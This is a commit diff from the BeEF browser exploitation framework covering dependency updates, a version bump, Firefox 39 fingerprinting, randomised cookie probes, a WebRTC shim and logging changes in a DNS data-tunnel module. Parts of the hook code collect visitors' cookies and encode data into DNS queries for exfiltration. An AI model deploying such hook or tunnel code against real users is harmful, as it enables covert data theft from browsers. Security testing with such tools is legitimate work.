Merged changed from master branch, disabled ARE rules by default.

This commit is contained in:
antisnatchor
2015-07-27 10:44:51 +02:00
109 changed files with 2084 additions and 469 deletions

1
.ruby-gemset Normal file
View File

@@ -0,0 +1 @@
beef

1
.ruby-version Normal file
View File

@@ -0,0 +1 @@
2.1.5

78
Gemfile
View File

@@ -6,58 +6,60 @@
# See the file 'doc/COPYING' for copying permission
#
gem "eventmachine"
gem "thin"
gem "sinatra"
gem "rack"
gem "em-websocket", "~> 0.3.6" # WebSocket support
gem "uglifier", "~> 2.2.1"
gem 'eventmachine'
gem 'thin'
gem 'sinatra'
gem 'rack'
gem 'em-websocket', '~> 0.3.6' # WebSocket support
gem 'uglifier', '~> 2.2.1'
gem 'mime-types'
# Windows support
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
gem "therubyracer", "~> 0.11.0beta1"
gem "execjs"
gem "win32console"
elsif !RUBY_PLATFORM.downcase.include?("darwin")
gem "therubyracer", "0.11.3"
gem "execjs"
gem 'therubyracer', '~> 0.11.0beta1'
gem 'execjs'
gem 'win32console'
elsif !RUBY_PLATFORM.downcase.include?('darwin')
gem 'therubyracer', '0.11.3'
gem 'execjs'
end
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"
gem "json"
gem "data_objects"
gem "dm-sqlite-adapter" # SQLite support
gem 'ansi'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'dm-core'
gem 'json'
gem 'data_objects'
gem 'dm-sqlite-adapter' # SQLite support
#gem dm-postgres-adapter # PostgreSQL support
#gem dm-mysql-adapter # MySQL support
gem "parseconfig"
gem "erubis"
gem "dm-migrations"
gem "msfrpc-client" # Metasploit Integration extension
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
gem "rubyzip", ">= 1.0.0"
gem "rubydns", "0.7.0" # DNS extension
gem "geoip" # geolocation support
gem "dm-serializer" # network extension
gem "qr4r" # QRcode extension
gem 'parseconfig'
gem 'erubis'
gem 'dm-migrations'
gem 'msfrpc-client' # Metasploit Integration extension
#gem 'twitter', '>= 5.0.0' # Twitter Notifications extension
gem 'rubyzip', '>= 1.0.0'
gem 'rubydns', '0.7.0' # DNS extension
gem 'geoip' # geolocation support
gem 'dm-serializer' # network extension
gem 'qr4r' # QRcode extension
# For running unit tests
if ENV['BEEF_TEST']
gem "test-unit"
gem "test-unit-full"
gem "curb"
gem "test-unit"
gem "selenium"
gem "selenium-webdriver"
gem 'test-unit'
gem 'test-unit-full'
gem 'curb'
gem 'selenium'
gem 'selenium-webdriver'
gem 'rspec'
# nokogirl is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem "capybara"
gem 'capybara'
# RESTful API tests/generic command module tests
gem "rest-client", "~> 1.6.7"
gem 'rest-client', '~> 1.6.7'
end
source "http://rubygems.org"
source 'http://rubygems.org'

89
Gemfile.lock Normal file
View File

@@ -0,0 +1,89 @@
GEM
remote: http://rubygems.org/
specs:
addressable (2.3.6)
ansi (1.4.3)
daemons (1.1.9)
data_objects (0.10.14)
addressable (~> 2.1)
dm-core (1.2.1)
addressable (~> 2.3)
dm-do-adapter (1.2.0)
data_objects (~> 0.10.6)
dm-core (~> 1.2.0)
dm-migrations (1.2.0)
dm-core (~> 1.2.0)
dm-sqlite-adapter (1.2.0)
dm-do-adapter (~> 1.2.0)
do_sqlite3 (~> 0.10.6)
do_sqlite3 (0.10.14)
data_objects (= 0.10.14)
em-websocket (0.3.8)
addressable (>= 2.1.1)
eventmachine (>= 0.12.9)
erubis (2.7.0)
eventmachine (1.0.7)
execjs (2.0.2)
geoip (1.4.0)
json (1.8.1)
librex (0.0.68)
libv8 (3.11.8.17)
msfrpc-client (1.0.1)
librex (>= 0.0.32)
msgpack (>= 0.4.5)
msgpack (0.5.8)
multi_json (1.9.3)
parseconfig (1.0.4)
rack (1.5.2)
rack-protection (1.5.3)
rack
rainbow (2.0.0)
ref (1.0.5)
rexec (1.6.3)
rainbow
rubydns (0.7.0)
eventmachine (~> 1.0.0)
rexec (~> 1.6.2)
rubyzip (1.1.3)
sinatra (1.4.2)
rack (~> 1.5, >= 1.5.2)
rack-protection (~> 1.4)
tilt (~> 1.3, >= 1.3.4)
term-ansicolor (1.1.5)
therubyracer (0.11.3)
libv8 (~> 3.11.8.12)
ref
thin (1.6.2)
daemons (>= 1.0.9)
eventmachine (>= 1.0.0)
rack (>= 1.0.0)
tilt (1.4.1)
uglifier (2.2.1)
execjs (>= 0.3.0)
multi_json (~> 1.0, >= 1.0.2)
PLATFORMS
ruby
DEPENDENCIES
ansi
data_objects
dm-core
dm-migrations
dm-sqlite-adapter
em-websocket (~> 0.3.6)
erubis
eventmachine (= 1.0.3)
execjs
geoip
json
msfrpc-client
parseconfig
rack (= 1.5.2)
rubydns (= 0.7.0)
rubyzip (>= 1.0.0)
sinatra (= 1.4.2)
term-ansicolor
therubyracer (= 0.11.3)
thin
uglifier (~> 2.2.1)

View File

@@ -33,8 +33,10 @@ Installation
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/hiranpeiris/therubyracer_for_windows.
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/eakmotion/therubyracer_for_windows.
Finally, edit beef's gem lock file by replacing the required ruby racer version with the version downloaded from the link above.
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the bundle install command !!!

4
README
View File

@@ -24,7 +24,9 @@ Please, send us pull requests!
Web: http://beefproject.com/
Mail: beef-subscribe@bindshell.net
Bugs: https://github.com/beefproject/beef
Security Bugs: security@beefproject.com
IRC: ircs://irc.freenode.net/beefproject

View File

@@ -24,7 +24,9 @@ __Please, send us pull requests!__
__Web:__ http://beefproject.com/
__Mail:__ beef-subscribe@bindshell.net
__Bugs:__ https://github.com/beefproject/beef
__Security Bugs:__ security@beefproject.com
__IRC:__ ircs://irc.freenode.net/beefproject

View File

@@ -4,4 +4,4 @@
# See the file 'doc/COPYING' for copying permission
#
0.4.6.0-alpha
0.4.6.1-alpha

0
arerules/enabled/README Normal file
View File

2
beef
View File

@@ -35,7 +35,7 @@ require 'core/loader'
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
else
config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
end
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals

View File

@@ -6,7 +6,7 @@
# BeEF Configuration file
beef:
version: '0.4.6.0-alpha'
version: '0.4.6.1-alpha'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
@@ -163,6 +163,9 @@ beef:
enable: false
ipec:
enable: true
# this is still experimental, we're working on it..
# this is still experimental..
dns:
enable: true
# this is still experimental..
dns_rebinding:
enable: false

View File

@@ -22,7 +22,7 @@ module Filters
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
@@ -31,7 +31,7 @@ module Filters
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str).nil?
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
@@ -142,6 +142,15 @@ module Filters
valid
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name

View File

@@ -16,6 +16,7 @@ require 'base64'
require 'xmlrpc/client'
require 'openssl'
require 'rubydns'
require 'mime/types'
# @note Include the filters
require 'core/filters'

View File

@@ -405,12 +405,20 @@ beef.browser = {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
},
/**
* Returns true if FF39
* @example: beef.browser.isFF39()
*/
isFF39: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
},
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF: function () {
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38();
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39();
},
@@ -1149,6 +1157,7 @@ beef.browser = {
FF36: this.isFF36(), // Firefox 36
FF37: this.isFF37(), // Firefox 37
FF38: this.isFF38(), // Firefox 38
FF39: this.isFF39(), // Firefox 39
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
@@ -1592,6 +1601,10 @@ beef.browser = {
return '38'
}
; // Firefox 38
if (this.isFF39()) {
return '39'
}
; // Firefox 39
if (this.isIE6()) {
return '6'
@@ -2117,16 +2130,6 @@ beef.browser = {
catch (e) {
}
}},
'Silverlight_Plug-In': {
'control': 'Silverlight Plug-In',
'return': function (control) {
try {
version = navigator.plugins['Silverlight Plug-In']["description"];
return 'Silverlight Plug-In Version ' + version;//+ " description "+ filename;
}
catch (e) {
}
}},
'FoxitReader_Plugin': {
'control': 'FoxitReader Plugin',
'return': function (control) {
@@ -2314,14 +2317,14 @@ beef.browser = {
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
try {
var cookies = document.cookie;
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
var veglol = beef.browser.cookie.veganLol();
var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
if (cookies) details['Cookies'] = cookies;
if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
@@ -2361,7 +2364,6 @@ beef.browser = {
if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
if (has_webrtc) details['HasWebRTC'] = has_webrtc;
if (has_activex) details['HasActiveX'] = has_activex;
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
if (has_wmp) details['HasWMP'] = has_wmp;

View File

@@ -71,12 +71,36 @@ beef.browser.cookie = {
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
veganLol: function (){
var to_hell= '';
var min = 17;
var max = 25;
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
var grunt = function(){
var moo = Math.floor(Math.random() * 62);
var char = '';
if(moo < 36){
char = String.fromCharCode(moo + 55);
}else{
char = String.fromCharCode(moo + 61);
}
if(char != ';' && char != '='){
return char;
}else{
return 'x';
}
};
while(to_hell.length < lol_length){
to_hell += grunt();
}
return to_hell;
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
hasSessionCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
@@ -84,11 +108,8 @@ beef.browser.cookie = {
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
hasPersistentCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');

View File

@@ -1,190 +1,327 @@
var RTCPeerConnection = null;
/*
* Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree.
*/
/* More information about these options at jshint.com/docs/options */
/* jshint browser: true, camelcase: true, curly: true, devel: true,
eqeqeq: true, forin: false, globalstrict: true, node: true,
quotmark: single, undef: true, unused: strict */
/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
/* exported trace,requestUserMedia */
'use strict';
var getUserMedia = null;
var attachMediaStream = null;
var reattachMediaStream = null;
var webrtcDetectedBrowser = null;
var webrtcDetectedVersion = null;
var webrtcMinimumVersion = null;
function maybeFixConfiguration(pcConfig) {
if (pcConfig === null) {
return;
function trace(text) {
// This function is used for logging.
if (text[text.length - 1] === '\n') {
text = text.substring(0, text.length - 1);
}
for (var i = 0; i < pcConfig.iceServers.length; i++) {
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
if (pcConfig.iceServers[i]['urls'].length > 0) {
// In FF - we just take the FIRST STUN Server
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
} else {
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
}
delete pcConfig.iceServers[i]['urls'];
}
if (window.performance) {
var now = (window.performance.now() / 1000).toFixed(3);
beef.debug(now + ': ' + text);
} else {
beef.debug(text);
}
}
if (navigator.mozGetUserMedia) {
webrtcDetectedBrowser = "firefox";
webrtcDetectedBrowser = 'firefox';
// the detected firefox version.
webrtcDetectedVersion =
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
// the minimum firefox version still supported by adapter.
webrtcMinimumVersion = 31;
// The RTCPeerConnection object.
var RTCPeerConnection = function(pcConfig, pcConstraints) {
// .urls is not supported in FF yet.
maybeFixConfiguration(pcConfig);
return new mozRTCPeerConnection(pcConfig, pcConstraints);
}
// The RTCSessionDescription object.
RTCSessionDescription = mozRTCSessionDescription;
// The RTCIceCandidate object.
RTCIceCandidate = mozRTCIceCandidate;
// Get UserMedia (only difference is the prefix).
// Code from Adam Barth.
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
navigator.getUserMedia = getUserMedia;
// Creates iceServer from the url for FF.
createIceServer = function(url, username, password) {
var iceServer = null;
var url_parts = url.split(':');
if (url_parts[0].indexOf('stun') === 0) {
// Create iceServer with stun url.
iceServer = { 'url': url };
} else if (url_parts[0].indexOf('turn') === 0) {
if (webrtcDetectedVersion < 27) {
// Create iceServer with turn url.
// Ignore the transport parameter from TURN url for FF version <=27.
var turn_url_parts = url.split("?");
// Return null for createIceServer if transport=tcp.
if (turn_url_parts.length === 1 ||
turn_url_parts[1].indexOf('transport=udp') === 0) {
iceServer = {'url': turn_url_parts[0],
'credential': password,
'username': username};
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
if (webrtcDetectedVersion < 38) {
// .urls is not supported in FF < 38.
// create RTCIceServers with a single url.
if (pcConfig && pcConfig.iceServers) {
var newIceServers = [];
for (var i = 0; i < pcConfig.iceServers.length; i++) {
var server = pcConfig.iceServers[i];
if (server.hasOwnProperty('urls')) {
for (var j = 0; j < server.urls.length; j++) {
var newServer = {
url: server.urls[j]
};
if (server.urls[j].indexOf('turn') === 0) {
newServer.username = server.username;
newServer.credential = server.credential;
}
newIceServers.push(newServer);
}
} else {
newIceServers.push(pcConfig.iceServers[i]);
}
}
} else {
// FF 27 and above supports transport parameters in TURN url,
// So passing in the full url to create iceServer.
iceServer = {'url': url,
'credential': password,
'username': username};
pcConfig.iceServers = newIceServers;
}
}
return iceServer;
return new mozRTCPeerConnection(pcConfig, pcConstraints);
};
createIceServers = function(urls, username, password) {
var iceServers = [];
// Use .url for FireFox.
for (i = 0; i < urls.length; i++) {
var iceServer = createIceServer(urls[i],
username,
password);
if (iceServer !== null) {
iceServers.push(iceServer);
}
}
return iceServers;
}
// The RTCSessionDescription object.
window.RTCSessionDescription = mozRTCSessionDescription;
// The RTCIceCandidate object.
window.RTCIceCandidate = mozRTCIceCandidate;
// getUserMedia constraints shim.
getUserMedia = (webrtcDetectedVersion < 38) ?
function(c, onSuccess, onError) {
var constraintsToFF37 = function(c) {
if (typeof c !== 'object' || c.require) {
return c;
}
var require = [];
Object.keys(c).forEach(function(key) {
var r = c[key] = (typeof c[key] === 'object') ?
c[key] : {ideal: c[key]};
if (r.exact !== undefined) {
r.min = r.max = r.exact;
delete r.exact;
}
if (r.min !== undefined || r.max !== undefined) {
require.push(key);
}
if (r.ideal !== undefined) {
c.advanced = c.advanced || [];
var oc = {};
oc[key] = {min: r.ideal, max: r.ideal};
c.advanced.push(oc);
delete r.ideal;
if (!Object.keys(r).length) {
delete c[key];
}
}
});
if (require.length) {
c.require = require;
}
return c;
};
beef.debug('spec: ' + JSON.stringify(c));
c.audio = constraintsToFF37(c.audio);
c.video = constraintsToFF37(c.video);
beef.debug('ff37: ' + JSON.stringify(c));
return navigator.mozGetUserMedia(c, onSuccess, onError);
} : navigator.mozGetUserMedia.bind(navigator);
navigator.getUserMedia = getUserMedia;
// Shim for mediaDevices on older versions.
if (!navigator.mediaDevices) {
navigator.mediaDevices = {getUserMedia: requestUserMedia,
addEventListener: function() { },
removeEventListener: function() { }
};
}
navigator.mediaDevices.enumerateDevices =
navigator.mediaDevices.enumerateDevices || function() {
return new Promise(function(resolve) {
var infos = [
{kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
{kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
];
resolve(infos);
});
};
if (webrtcDetectedVersion < 41) {
// Work around http://bugzil.la/1169665
var orgEnumerateDevices =
navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
navigator.mediaDevices.enumerateDevices = function() {
return orgEnumerateDevices().catch(function(e) {
if (e.name === 'NotFoundError') {
return [];
}
throw e;
});
};
}
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
beef.debug("Attaching media stream");
beef.debug('Attaching media stream');
element.mozSrcObject = stream;
element.play();
};
reattachMediaStream = function(to, from) {
beef.debug("Reattaching media stream");
beef.debug('Reattaching media stream');
to.mozSrcObject = from.mozSrcObject;
to.play();
};
// Fake get{Video,Audio}Tracks
if (!MediaStream.prototype.getVideoTracks) {
MediaStream.prototype.getVideoTracks = function() {
return [];
};
}
if (!MediaStream.prototype.getAudioTracks) {
MediaStream.prototype.getAudioTracks = function() {
return [];
};
}
} else if (navigator.webkitGetUserMedia) {
webrtcDetectedBrowser = "chrome";
// Temporary fix until crbug/374263 is fixed.
// Setting Chrome version to 999, if version is unavailable.
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
if (result !== null) {
webrtcDetectedVersion = parseInt(result[2], 10);
} else {
webrtcDetectedVersion = 999;
}
webrtcDetectedBrowser = 'chrome';
// Creates iceServer from the url for Chrome M33 and earlier.
createIceServer = function(url, username, password) {
var iceServer = null;
var url_parts = url.split(':');
if (url_parts[0].indexOf('stun') === 0) {
// Create iceServer with stun url.
iceServer = { 'url': url };
} else if (url_parts[0].indexOf('turn') === 0) {
// Chrome M28 & above uses below TURN format.
iceServer = {'url': url,
'credential': password,
'username': username};
}
return iceServer;
};
// the detected chrome version.
webrtcDetectedVersion =
parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
// Creates iceServers from the urls for Chrome M34 and above.
createIceServers = function(urls, username, password) {
var iceServers = [];
if (webrtcDetectedVersion >= 34) {
// .urls is supported since Chrome M34.
iceServers = {'urls': urls,
'credential': password,
'username': username };
} else {
for (i = 0; i < urls.length; i++) {
var iceServer = createIceServer(urls[i],
username,
password);
if (iceServer !== null) {
iceServers.push(iceServer);
}
}
}
return iceServers;
};
// the minimum chrome version still supported by adapter.
webrtcMinimumVersion = 38;
// The RTCPeerConnection object.
var RTCPeerConnection = function(pcConfig, pcConstraints) {
// .urls is supported since Chrome M34.
if (webrtcDetectedVersion < 34) {
maybeFixConfiguration(pcConfig);
}
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
}
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
var origGetStats = pc.getStats.bind(pc);
pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
// If selector is a function then we are in the old style stats so just
// pass back the original getStats format to avoid breaking old users.
if (typeof selector === 'function') {
return origGetStats(selector, successCallback);
}
// Get UserMedia (only difference is the prefix).
// Code from Adam Barth.
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
var fixChromeStats = function(response) {
var standardReport = {};
var reports = response.result();
reports.forEach(function(report) {
var standardStats = {
id: report.id,
timestamp: report.timestamp,
type: report.type
};
report.names().forEach(function(name) {
standardStats[name] = report.stat(name);
});
standardReport[standardStats.id] = standardStats;
});
return standardReport;
};
var successCallbackWrapper = function(response) {
successCallback(fixChromeStats(response));
};
return origGetStats(successCallbackWrapper, selector);
};
return pc;
};
// add promise support
['createOffer', 'createAnswer'].forEach(function(method) {
var nativeMethod = webkitRTCPeerConnection.prototype[method];
webkitRTCPeerConnection.prototype[method] = function() {
var self = this;
if (arguments.length < 1 || (arguments.length === 1 &&
typeof(arguments[0]) === 'object')) {
var opts = arguments.length === 1 ? arguments[0] : undefined;
return new Promise(function(resolve, reject) {
nativeMethod.apply(self, [resolve, reject, opts]);
});
} else {
return nativeMethod.apply(this, arguments);
}
};
});
['setLocalDescription', 'setRemoteDescription',
'addIceCandidate'].forEach(function(method) {
var nativeMethod = webkitRTCPeerConnection.prototype[method];
webkitRTCPeerConnection.prototype[method] = function() {
var args = arguments;
var self = this;
return new Promise(function(resolve, reject) {
nativeMethod.apply(self, [args[0],
function() {
resolve();
if (args.length >= 2) {
args[1].apply(null, []);
}
},
function(err) {
reject(err);
if (args.length >= 3) {
args[2].apply(null, [err]);
}
}]
);
});
};
});
// getUserMedia constraints shim.
getUserMedia = function(c, onSuccess, onError) {
var constraintsToChrome = function(c) {
if (typeof c !== 'object' || c.mandatory || c.optional) {
return c;
}
var cc = {};
Object.keys(c).forEach(function(key) {
if (key === 'require' || key === 'advanced') {
return;
}
var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
if (r.exact !== undefined && typeof r.exact === 'number') {
r.min = r.max = r.exact;
}
var oldname = function(prefix, name) {
if (prefix) {
return prefix + name.charAt(0).toUpperCase() + name.slice(1);
}
return (name === 'deviceId') ? 'sourceId' : name;
};
if (r.ideal !== undefined) {
cc.optional = cc.optional || [];
var oc = {};
if (typeof r.ideal === 'number') {
oc[oldname('min', key)] = r.ideal;
cc.optional.push(oc);
oc = {};
oc[oldname('max', key)] = r.ideal;
cc.optional.push(oc);
} else {
oc[oldname('', key)] = r.ideal;
cc.optional.push(oc);
}
}
if (r.exact !== undefined && typeof r.exact !== 'number') {
cc.mandatory = cc.mandatory || {};
cc.mandatory[oldname('', key)] = r.exact;
} else {
['min', 'max'].forEach(function(mix) {
if (r[mix] !== undefined) {
cc.mandatory = cc.mandatory || {};
cc.mandatory[oldname(mix, key)] = r[mix];
}
});
}
});
if (c.advanced) {
cc.optional = (cc.optional || []).concat(c.advanced);
}
return cc;
};
beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
c.audio = constraintsToChrome(c.audio);
c.video = constraintsToChrome(c.video);
beef.debug('chrome: ' + JSON.stringify(c));
return navigator.webkitGetUserMedia(c, onSuccess, onError);
};
navigator.getUserMedia = getUserMedia;
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
if (typeof element.srcObject !== 'undefined') {
element.srcObject = stream;
} else if (typeof element.mozSrcObject !== 'undefined') {
element.mozSrcObject = stream;
} else if (typeof element.src !== 'undefined') {
element.src = URL.createObjectURL(stream);
} else {
@@ -195,6 +332,78 @@ if (navigator.mozGetUserMedia) {
reattachMediaStream = function(to, from) {
to.src = from.src;
};
if (!navigator.mediaDevices) {
navigator.mediaDevices = {getUserMedia: requestUserMedia,
enumerateDevices: function() {
return new Promise(function(resolve) {
var kinds = {audio: 'audioinput', video: 'videoinput'};
return MediaStreamTrack.getSources(function(devices) {
resolve(devices.map(function(device) {
return {label: device.label,
kind: kinds[device.kind],
deviceId: device.id,
groupId: ''};
}));
});
});
}};
// in case someone wants to listen for the devicechange event.
navigator.mediaDevices.addEventListener = function() { };
navigator.mediaDevices.removeEventListener = function() { };
}
} else if (navigator.mediaDevices && navigator.userAgent.match(
/Edge\/(\d+).(\d+)$/)) {
webrtcDetectedBrowser = 'edge';
webrtcDetectedVersion =
parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
// the minimum version still supported by adapter.
webrtcMinimumVersion = 12;
attachMediaStream = function(element, stream) {
element.srcObject = stream;
};
reattachMediaStream = function(to, from) {
to.srcObject = from.srcObject;
};
} else {
beef.debug("Browser does not appear to be WebRTC-capable");
// console.log('Browser does not appear to be WebRTC-capable');
}
// Returns the result of getUserMedia as a Promise.
function requestUserMedia(constraints) {
return new Promise(function(resolve, reject) {
getUserMedia(constraints, resolve, reject);
});
}
if (typeof module !== 'undefined') {
module.exports = {
RTCPeerConnection: window.RTCPeerConnection,
getUserMedia: getUserMedia,
attachMediaStream: attachMediaStream,
reattachMediaStream: reattachMediaStream,
webrtcDetectedBrowser: webrtcDetectedBrowser,
webrtcDetectedVersion: webrtcDetectedVersion,
webrtcMinimumVersion: webrtcMinimumVersion
//requestUserMedia: not exposed on purpose.
//trace: not exposed on purpose.
};
} else if ((typeof require === 'function') && (typeof define === 'function')) {
// Expose objects and functions when RequireJS is doing the loading.
define([], function() {
return {
RTCPeerConnection: window.RTCPeerConnection,
getUserMedia: getUserMedia,
attachMediaStream: attachMediaStream,
reattachMediaStream: reattachMediaStream,
webrtcDetectedBrowser: webrtcDetectedBrowser,
webrtcDetectedVersion: webrtcDetectedVersion,
webrtcMinimumVersion: webrtcMinimumVersion
//requestUserMedia: not exposed on purpose.
//trace: not exposed on purpose.
};
});
}

View File

@@ -270,6 +270,7 @@ beef.net = {
response.status_code = jqXHR.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
response.port_status = "open";
},
complete: function (jqXHR, textStatus) {
response.status_code = jqXHR.status;
@@ -286,7 +287,7 @@ beef.net = {
response.port_status = "open";
}
}
}).done(function () {
}).always(function () {
if (callback != null) {
callback(response);
}

View File

@@ -30,9 +30,8 @@ beef.net.dns = {
var encodedData = encodeURI(encode_data(data));
//TODO remove this
console.log(encodedData);
console.log("_encodedData_ length: " + encodedData.length);
beef.debug(encodedData);
beef.debug("_encodedData_ length: " + encodedData.length);
// limitations to DNS according to RFC 1035:
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
@@ -50,8 +49,7 @@ beef.net.dns = {
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
var max_data_segment_length = 63; // by RFC
//TODO remove this
console.log("max_data_segment_length: " + max_data_segment_length);
beef.debug("max_data_segment_length: " + max_data_segment_length);
var dom = document.createElement('b');
@@ -76,8 +74,7 @@ beef.net.dns = {
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
//TODO remove this
console.log(segments.length);
beef.debug(segments.length);
for (var seq=1; seq<=segments.length; seq++) {
